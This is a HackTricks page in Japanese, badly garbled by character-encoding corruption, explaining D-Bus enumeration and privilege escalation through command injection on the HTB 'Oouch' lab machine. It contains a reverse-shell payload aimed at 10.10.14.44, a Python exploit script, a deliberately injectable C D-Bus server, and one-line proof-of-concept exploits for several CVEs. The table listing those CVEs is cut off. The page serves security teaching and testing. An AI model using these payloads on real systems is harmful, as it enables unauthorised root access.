D-Busã®åæãšã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ã«ããç¹æš©ææ Œ
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
GUIåæ
D-Busã¯ãUbuntuãã¹ã¯ãããç°å¢ã«ãããããã»ã¹ééä¿¡ïŒIPCïŒã®ä»²ä»è ãšããŠå©çšãããŠããŸããUbuntuã§ã¯ãããã€ãã®ã¡ãã»ãŒãžãã¹ãåæã«åäœããŠããã®ã芳å¯ãããŸãïŒäž»ã«ç¹æš©ãµãŒãã¹ãã·ã¹ãã å šäœã«é¢é£ãããµãŒãã¹ãå ¬éããããã«å©çšããã·ã¹ãã ãã¹ãšãåãã°ã€ã³ãŠãŒã¶ãŒã®ããã®ã»ãã·ã§ã³ãã¹ããããç¹å®ã®ãŠãŒã¶ãŒã«ã®ã¿é¢é£ãããµãŒãã¹ãå ¬éããŸããããã§ã¯ãç¹æš©ãææ Œãããããšãç®çãšããŠãããããäž»ã«é«ãç¹æš©ïŒäŸïŒrootïŒã§å®è¡ããããµãŒãã¹ã«é¢é£ããã·ã¹ãã ãã¹ã«çŠç¹ãåœãŠãŸããD-Busã®ã¢ãŒããã¯ãã£ã¯ãåã»ãã·ã§ã³ãã¹ããšã«ãã«ãŒã¿ãŒããæ¡çšããŠãããã¯ã©ã€ã¢ã³ããéä¿¡ããããµãŒãã¹ã®ããã«æå®ããã¢ãã¬ã¹ã«åºã¥ããŠãã¯ã©ã€ã¢ã³ãã¡ãã»ãŒãžãé©åãªãµãŒãã¹ã«ãªãã€ã¬ã¯ããã圹å²ãæ ã£ãŠããŸãã
D-Busäžã®ãµãŒãã¹ã¯ãå ¬éããããªããžã§ã¯ããšã€ã³ã¿ãŒãã§ãŒã¹ã«ãã£ãŠå®çŸ©ãããŸãããªããžã§ã¯ãã¯ãæšæºçãªOOPèšèªã«ãããã¯ã©ã¹ã€ã³ã¹ã¿ã³ã¹ã«äŒŒãŠãããåã€ã³ã¹ã¿ã³ã¹ã¯ãªããžã§ã¯ããã¹ã«ãã£ãŠäžæã«èå¥ãããŸãããã®ãã¹ã¯ããã¡ã€ã«ã·ã¹ãã ãã¹ã«äŒŒãŠããããµãŒãã¹ã«ãã£ãŠå ¬éãããåãªããžã§ã¯ããäžæã«èå¥ããŸããç ç©¶ç®çã®ããã®éèŠãªã€ã³ã¿ãŒãã§ãŒã¹ã¯ãorg.freedesktop.DBus.Introspectableã€ã³ã¿ãŒãã§ãŒã¹ã§ãããåäžã®ã¡ãœããIntrospectãç¹åŸŽãšããŠããŸãããã®ã¡ãœããã¯ããªããžã§ã¯ãããµããŒãããã¡ãœãããã·ã°ãã«ãããã³ããããã£ã®XML衚çŸãè¿ããããã§ã¯ããããã£ãšã·ã°ãã«ãçç¥ããŠã¡ãœããã«çŠç¹ãåœãŠãŸãã
D-Busã€ã³ã¿ãŒãã§ãŒã¹ãšã®éä¿¡ã«ã¯ã2ã€ã®ããŒã«ã䜿çšãããŸããïŒD-Busã«ãã£ãŠå ¬éãããã¡ãœãããã¹ã¯ãªããã§ç°¡åã«åŒã³åºãããã®CLIããŒã«gdbusãšãåãã¹ã§å©çšå¯èœãªãµãŒãã¹ãåæããåãµãŒãã¹ã«å«ãŸãããªããžã§ã¯ãã衚瀺ããããã«èšèšãããPythonããŒã¹ã®GUIããŒã«D-Feetã§ãã
sudo apt-get install d-feet


æåã®ç»åã«ã¯ãD-Busã·ã¹ãã ãã¹ã«ç»é²ããããµãŒãã¹ã衚瀺ãããŠãããorg.debin.aptãã·ã¹ãã ãã¹ãã¿ã³ãéžæããåŸã«ç¹ã«åŒ·èª¿è¡šç€ºãããŠããŸããD-Feetã¯ãã®ãµãŒãã¹ã«å¯ŸããŠãªããžã§ã¯ããã¯ãšãªããéžæããããªããžã§ã¯ãã®ã€ã³ã¿ãŒãã§ãŒã¹ãã¡ãœãããããããã£ãããã³ã·ã°ãã«ã衚瀺ããŸããããã2çªç®ã®ç»åã§ç¢ºèªã§ããŸããåã¡ãœããã®ã·ã°ããã£ã詳现ã«èšèŒãããŠããŸãã
泚ç®ãã¹ãç¹åŸŽã¯ããµãŒãã¹ã®ããã»ã¹IDïŒpidïŒãšã³ãã³ãã©ã€ã³ã衚瀺ãããããšã§ããµãŒãã¹ãææ Œããç¹æš©ã§å®è¡ãããŠãããã©ããã確èªããã®ã«åœ¹ç«ã¡ãŸããããã¯ç ç©¶ã®é¢é£æ§ã«ãšã£ãŠéèŠã§ãã
D-Feetã¯ã¡ãœããã®åŒã³åºããå¯èœã§ãïŒãŠãŒã¶ãŒã¯PythonåŒããã©ã¡ãŒã¿ãšããŠå ¥åã§ããD-Feetã¯ãããD-Busã¿ã€ãã«å€æããŠãµãŒãã¹ã«æž¡ããŸãã
ãã ããããã€ãã®ã¡ãœããã¯èªèšŒãå¿ èŠãšããŸãããããã®ã¡ãœããã¯ç¡èŠããŸãããªããªããç§ãã¡ã®ç®æšã¯æåããè³æ Œæ å ±ãªãã§ç¹æš©ãææ Œãããããšã ããã§ãã
ãŸããããã€ãã®ãµãŒãã¹ã¯ããŠãŒã¶ãŒãç¹å®ã®ã¢ã¯ã·ã§ã³ãå®è¡ããããšãèš±å¯ãããã¹ããã©ããã確èªããããã«ãå¥ã®D-BusãµãŒãã¹ã§ããorg.freedeskto.PolicyKit1ã«ã¯ãšãªãéä¿¡ããããšã«æ³šæããŠãã ããã
Cmd line Enumeration
ãµãŒãã¹ãªããžã§ã¯ãã®ãªã¹ã
éããŠããD-Busã€ã³ã¿ãŒãã§ãŒã¹ããªã¹ãããããšãå¯èœã§ãïŒ
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
:1.0 1 systemd root :1.0 init.scope -
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv⊠-
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
æ¥ç¶
From wikipedia: ããã»ã¹ããã¹ãžã®æ¥ç¶ãèšå®ãããšããã¹ã¯ãã®æ¥ç¶ã« unique connection name ãšåŒã°ããç¹å¥ãªãã¹åãå²ãåœãŠãŸãããã®ã¿ã€ãã®ãã¹åã¯äžå€ã§ãããæ¥ç¶ãååšããéã倿Žãããªãããšãä¿èšŒãããŠããŸãããããŠãããéèŠãªããšã«ããã¹ã®ã©ã€ãã¿ã€ã äžã«åå©çšããããšã¯ã§ããŸãããããã¯ãåãããã»ã¹ããã¹ãžã®æ¥ç¶ãéããŠæ°ããæ¥ç¶ãäœæããŠãããã®ãã¹ãžã®ä»ã®æ¥ç¶ã«ã¯æ±ºããŠãã®ãããªãŠããŒã¯ãªæ¥ç¶åãå²ãåœãŠãããªãããšãæå³ããŸãããŠããŒã¯ãªæ¥ç¶åã¯ãçŠæ¢ãããŠããã³ãã³æåã§å§ãŸããããç°¡åã«èªèã§ããŸãã
ãµãŒãã¹ãªããžã§ã¯ãæ å ±
次ã«ãã€ã³ã¿ãŒãã§ãŒã¹ã«é¢ããæ å ±ãååŸã§ããŸã:
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
ãµãŒãã¹ãªããžã§ã¯ãã®ã€ã³ã¿ãŒãã§ãŒã¹ããªã¹ããã
ååãªæš©éãå¿ èŠã§ãã
busctl tree htb.oouch.Block #Get Interfaces of the service object
ââ/htb
ââ/htb/oouch
ââ/htb/oouch/Block
ãµãŒãã¹ãªããžã§ã¯ãã®ã€ã³ã¿ãŒãã§ãŒã¹ã調æ»ãã
ãã®äŸã§ã¯ãtreeãã©ã¡ãŒã¿ã䜿çšããŠçºèŠãããææ°ã®ã€ã³ã¿ãŒãã§ãŒã¹ãéžæãããããšã«æ³šæããŠãã ããïŒåã®ã»ã¯ã·ã§ã³ãåç
§ïŒïŒ
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
泚æããŠãã ãããã€ã³ã¿ãŒãã§ãŒã¹ htb.oouch.Block ã®ã¡ãœãã .BlockïŒç§ãã¡ãèå³ãæã£ãŠãããã®ïŒãä»ã®åã® âsâ ã¯ãæååãæåŸ
ããŠããããšãæå³ãããããããŸããã
ã¢ãã¿ãŒ/ãã£ããã£ã€ã³ã¿ãŒãã§ãŒã¹
ååãªæš©éãããã°ïŒsend_destination ãš receive_sender ã®æš©éã ãã§ã¯äžååã§ãïŒãD-Buséä¿¡ãã¢ãã¿ãŒã§ããŸãã
éä¿¡ãã¢ãã¿ãŒããã«ã¯ãrootã§ããå¿ èŠããããŸãããŸã rootã§åé¡ãããå Žåã¯ãhttps://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ ãš https://wiki.ubuntu.com/DebuggingDBus ã確èªããŠãã ããã
Warning
D-Busã®èšå®ãã¡ã€ã«ãæ§æããŠérootãŠãŒã¶ãŒãéä¿¡ãã¹ãããã£ã³ã°ã§ããããã«ããæ¹æ³ãç¥ã£ãŠããå Žåã¯ããã²ãé£çµ¡ãã ããïŒ
ã¢ãã¿ãŒããããã®ç°ãªãæ¹æ³ïŒ
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
次ã®äŸã§ã¯ãã€ã³ã¿ãŒãã§ãŒã¹ htb.oouch.Block ãç£èŠãããŠãããã¡ãã»ãŒãž âlalalalalâ ã誀解ãéããŠéä¿¡ãããŸã:
busctl monitor htb.oouch.Block
Monitoring bus message stream.
⣠Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
⣠Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
captureã®ä»£ããã«monitorã䜿çšããŠãçµæãpcapãã¡ã€ã«ã«ä¿åã§ããŸãã
ãã€ãºããã¹ãŠãã£ã«ã¿ãªã³ã°ãã
ãã¹äžã«æ å ±ãå€ãããå Žåã¯ã次ã®ããã«ãããã«ãŒã«ãæž¡ããŸã:
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
è€æ°ã®ã«ãŒã«ãæå®ã§ããŸããã¡ãã»ãŒãžã_ãããã_ã®ã«ãŒã«ã«äžèŽããå Žåããã®ã¡ãã»ãŒãžãå°å·ãããŸããæ¬¡ã®ããã«:
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"
D-Busã®æ§æã«ãŒã«ã«é¢ãã詳现ã¯ãD-Busããã¥ã¡ã³ããåç §ããŠãã ããã
ãã£ãš
busctlã«ã¯ããã«å€ãã®ãªãã·ã§ã³ããããŸãããã¹ãŠã¯ãã¡ãã§èŠã€ããŠãã ããã
è匱ãªã·ããªãª
ãŠãŒã¶ãŒqtc inside the host âoouchâ from HTBãšããŠã_ /etc/dbus-1/system.d/htb.oouch.Block.conf _ã«ããäºæããªãD-Busèšå®ãã¡ã€ã«ãèŠã€ããããšãã§ããŸãã
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
åã®èšå®ããããã®D-BUSéä¿¡ãä»ããŠæ
å ±ãéåä¿¡ããã«ã¯ãrootãŸãã¯www-dataãŠãŒã¶ãŒã§ããå¿
èŠããããŸãã
Dockerã³ã³ããaeb4525789d8å ã®ãŠãŒã¶ãŒqtcãšããŠããã¡ã€ã«_/code/oouch/routes.py_ã«ããã€ãã®dbusé¢é£ã®ã³ãŒãããããŸãããããè峿·±ãã³ãŒãã§ãïŒ
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
D-Busã€ã³ã¿ãŒãã§ãŒã¹ã«æ¥ç¶ããâBlockâ颿°ã«âclient_ipâãéä¿¡ããŠããŸãã
D-Busæ¥ç¶ã®å察åŽã«ã¯ãCã§ã³ã³ãã€ã«ããããã€ããªãå®è¡ãããŠããŸãããã®ã³ãŒãã¯ãD-Busæ¥ç¶ã§IPã¢ãã¬ã¹ããªãã¹ã³ããäžããããIPã¢ãã¬ã¹ããããã¯ããããã«system颿°ãä»ããŠiptablesãåŒã³åºããŠããŸããsystemãžã®åŒã³åºãã¯æå³çã«ã³ãã³ãã€ã³ãžã§ã¯ã·ã§ã³ã«å¯ŸããŠè匱ã§ãããæ¬¡ã®ãããªãã€ããŒãããªããŒã¹ã·ã§ã«ãäœæããŸã: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
ãããæªçšãã
ãã®ããŒãžã®æåŸã«ãD-Busã¢ããªã±ãŒã·ã§ã³ã®å®å
šãªCã³ãŒãããããŸãããã®äžã«ã¯ã91è¡ç®ãã97è¡ç®ã®éã«**D-Busãªããžã§ã¯ããã¹ãšã€ã³ã¿ãŒãã§ãŒã¹åãç»é²ãããŠãã**æ¹æ³ãèšèŒãããŠããŸãããã®æ
å ±ã¯ãD-Busæ¥ç¶ã«æ
å ±ãéä¿¡ããããã«å¿
èŠã§ã:
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
ãŸãã57è¡ç®ã«ã¯ããã®D-Buséä¿¡ã«ç»é²ãããŠããå¯äžã®ã¡ãœãããBlockãšåŒã°ããŠããããšãããããŸãïŒãã®ãããæ¬¡ã®ã»ã¯ã·ã§ã³ã§ã¯ãã€ããŒãããµãŒãã¹ãªããžã§ã¯ãhtb.oouch.Blockãã€ã³ã¿ãŒãã§ãŒã¹/htb/oouch/Blockãããã³ã¡ãœããåBlockã«éä¿¡ãããŸãïŒïŒ
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
Python
次ã®Pythonã³ãŒãã¯ãblock_iface.Block(runme)ãä»ããŠBlockã¡ãœããã«ãã€ããŒããD-Busæ¥ç¶ã«éä¿¡ããŸãïŒããã¯åã®ã³ãŒãã®ãã£ã³ã¯ããæœåºãããããšã«æ³šæããŠãã ããïŒïŒ
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
busctl ãš dbus-send
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
dbus-sendã¯ãMessage Busãã«ã¡ãã»ãŒãžãéä¿¡ããããã®ããŒã«ã§ãã- Message Bus â ã·ã¹ãã ãã¢ããªã±ãŒã·ã§ã³éã®éä¿¡ã容æã«ããããã«äœ¿çšãããœãããŠã§ã¢ã§ããããã¯ã¡ãã»ãŒãžãã¥ãŒã«é¢é£ããŠããŸãïŒã¡ãã»ãŒãžã¯é åºéãã«äžŠã¹ãããŸãïŒããMessage Busã§ã¯ã¡ãã»ãŒãžããµãã¹ã¯ãªãã·ã§ã³ã¢ãã«ã§éä¿¡ãããéåžžã«è¿ éã§ãã
- â-systemâ ã¿ã°ã¯ãã»ãã·ã§ã³ã¡ãã»ãŒãžã§ã¯ãªãã·ã¹ãã ã¡ãã»ãŒãžã§ããããšã瀺ãããã«äœ¿çšãããŸãïŒããã©ã«ãã§ã¯ïŒã
- ââprint-replyâ ã¿ã°ã¯ãã¡ãã»ãŒãžãé©åã«å°å·ãã人éãèªã¿ããã圢åŒã§è¿ä¿¡ãåãåãããã«äœ¿çšãããŸãã
- ââdest=Dbus-Interface-Blockâ Dbusã€ã³ã¿ãŒãã§ãŒã¹ã®ã¢ãã¬ã¹ã§ãã
- ââstring:â â ã€ã³ã¿ãŒãã§ãŒã¹ã«éä¿¡ãããã¡ãã»ãŒãžã®ã¿ã€ãã§ããã¡ãã»ãŒãžãéä¿¡ããããã®åœ¢åŒã«ã¯ãããã«ããã€ããããŒã«å€ãæŽæ°ãobjpathãªã©ããããŸãããã®äžã§ãããªããžã§ã¯ããã¹ãã¯ããã¡ã€ã«ã®ãã¹ãDbusã€ã³ã¿ãŒãã§ãŒã¹ã«éä¿¡ããããšãã«äŸ¿å©ã§ãããã®å Žåãç¹å¥ãªãã¡ã€ã«ïŒFIFOïŒã䜿çšããŠããã¡ã€ã«ã®ååã§ã€ã³ã¿ãŒãã§ãŒã¹ã«ã³ãã³ããæž¡ãããšãã§ããŸããâstring:;â â ããã¯ãFIFOãªããŒã¹ã·ã§ã«ãã¡ã€ã«/ã³ãã³ãã®å Žæãæå®ããŠãªããžã§ã¯ããã¹ãå床åŒã³åºãããã®ãã®ã§ãã
htb.oouch.Block.Block ã®æåã®éšåïŒhtb.oouch.BlockïŒã¯ãµãŒãã¹ãªããžã§ã¯ããåç
§ããæåŸã®éšåïŒ.BlockïŒã¯ã¡ãœããåãåç
§ããŸãã
C code
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};
int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
èªååæãã«ã㌠(2023-2025)
busctl/gdbusã䜿çšããŠå€§èŠæš¡ãªD-Busæ»æé¢ãæåã§åæããã®ã¯è¿
éã«èŠçã«ãªããŸããæè¿æ°å¹Žã§ãªãªãŒã¹ããã2ã€ã®å°ããªFOSSãŠãŒãã£ãªãã£ã¯ãã¬ããããŒã ãCTFã®æŽ»åäžã«ç©äºãå éãããããšãã§ããŸãïŒ
dbusmap (âD-Busã®Nmapâ)
- èè : @taviso â https://github.com/taviso/dbusmap
- Cã§æžãããåäžã®éçãã€ããªïŒ<50 kBïŒã§ããã¹ãŠã®ãªããžã§ã¯ããã¹ãæ©ãã
IntrospectXMLãååŸããææããPID/UIDã«ãããã³ã°ããŸãã - æçšãªãã©ã°:
# *system*ãã¹äžã®ãã¹ãŠã®ãµãŒãã¹ããªã¹ãããåŒã³åºãå¯èœãªãã¹ãŠã®ã¡ãœããããã³ã
sudo dbus-map --dump-methods
# Polkitããã³ãããªãã§å°éå¯èœãªã¡ãœãã/ããããã£ãç©æ¥µçã«ãããŒã
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
- ããŒã«ã¯ãä¿è·ãããŠããªãããç¥ãããååã
!ã§ããŒã¯ããææïŒåŒãç¶ãïŒã§ãããµãŒãã¹ããç¹æš©ã®ãªãã·ã§ã«ããå°éå¯èœãªã¡ãœããåŒã³åºããå³åº§ã«æããã«ããŸãã
uptux.py
- èè : @initstring â https://github.com/initstring/uptux
- systemdãŠãããå
ã®æžã蟌ã¿å¯èœãªãã¹ãšãéå°ã«èš±å¯ãããD-Busããªã·ãŒãã¡ã€ã«ïŒäŸ:
send_destination="*"ïŒãæ¢ãPythonå°çšã¹ã¯ãªããã§ãã - ç°¡åãªäœ¿çšæ³:
python3 uptux.py -n # ãã¹ãŠã®ãã§ãã¯ãå®è¡ãããããã°ãã¡ã€ã«ã¯äœæããªã
python3 uptux.py -d # 詳现ãªãããã°åºåãæå¹ã«ãã
- D-Busã¢ãžã¥ãŒã«ã¯ä»¥äžã®ãã£ã¬ã¯ããªãæ€çŽ¢ããéåžžã®ãŠãŒã¶ãŒã«ãã£ãŠåœè£ ãŸãã¯ãã€ãžã£ãã¯å¯èœãªãµãŒãã¹ã匷調衚瀺ããŸãïŒ
/etc/dbus-1/system.d/ããã³/usr/share/dbus-1/system.d//etc/dbus-1/system-local.d/ïŒãã³ããŒã®ãªãŒããŒã©ã€ãïŒ
泚ç®ãã¹ãD-Busç¹æš©ææ Œãã° (2024-2025)
æè¿å ¬éãããCVEãæ³šèŠããããšã§ãã«ã¹ã¿ã ã³ãŒãå ã®é¡äŒŒã®äžå®å šãªãã¿ãŒã³ãèŠã€ããã®ã«åœ¹ç«ã¡ãŸãã以äžã®é«åœ±é¿ã®ããŒã«ã«EoPåé¡ã¯ãã¹ãŠãã·ã¹ãã ãã¹äžã®èªèšŒ/èªå¯ã®æ¬ åŠããçããŠããŸãïŒ
| 幎 | CVE | ã³ã³ããŒãã³ã | æ ¹æ¬åå | ã¯ã³ã©ã€ããŒPoC |
|---|---|---|---|---|
| 2024 | CVE-2024-45752 | logiops †0.3.4 (Logitech HIDããŒã¢ã³) | logidã·ã¹ãã ãµãŒãã¹ã¯ãä»»æã®ãŠãŒã¶ãŒãããã€ã¹ãããã¡ã€ã«ã倿Žãããã¯ãæååãä»ããŠä»»æã®ã·ã§ã«ã³ãã³ããæ³šå
¥ã§ããå¶éã®ãªãorg.freedesktop.Logiopsdã€ã³ã¿ãŒãã§ãŒã¹ãå
¬éããŠããŸãã | gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml" |
| 2025 | CVE-2025-23222 | Deepin dde-api-proxy †1.0.18 | ã«ãŒãã§å®è¡ããããããã·ããåŒã³åºãå ã®UID/Polkitã³ã³ããã¹ãã転éããã«ã¬ã¬ã·ãŒãã¹åãããã¯ãšã³ããµãŒãã¹ã«è»¢éããããããã¹ãŠã®è»¢éããããªã¯ãšã¹ãã¯UID 0ãšããŠæ±ãããŸãã | gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1 |
| 2025 | CVE-2025-3931 | Red Hat Insights yggdrasil †0.4.6 | å
¬éãããDispatchã¡ãœããã«ã¯ACLãæ¬ åŠããŠãããããæ»æè
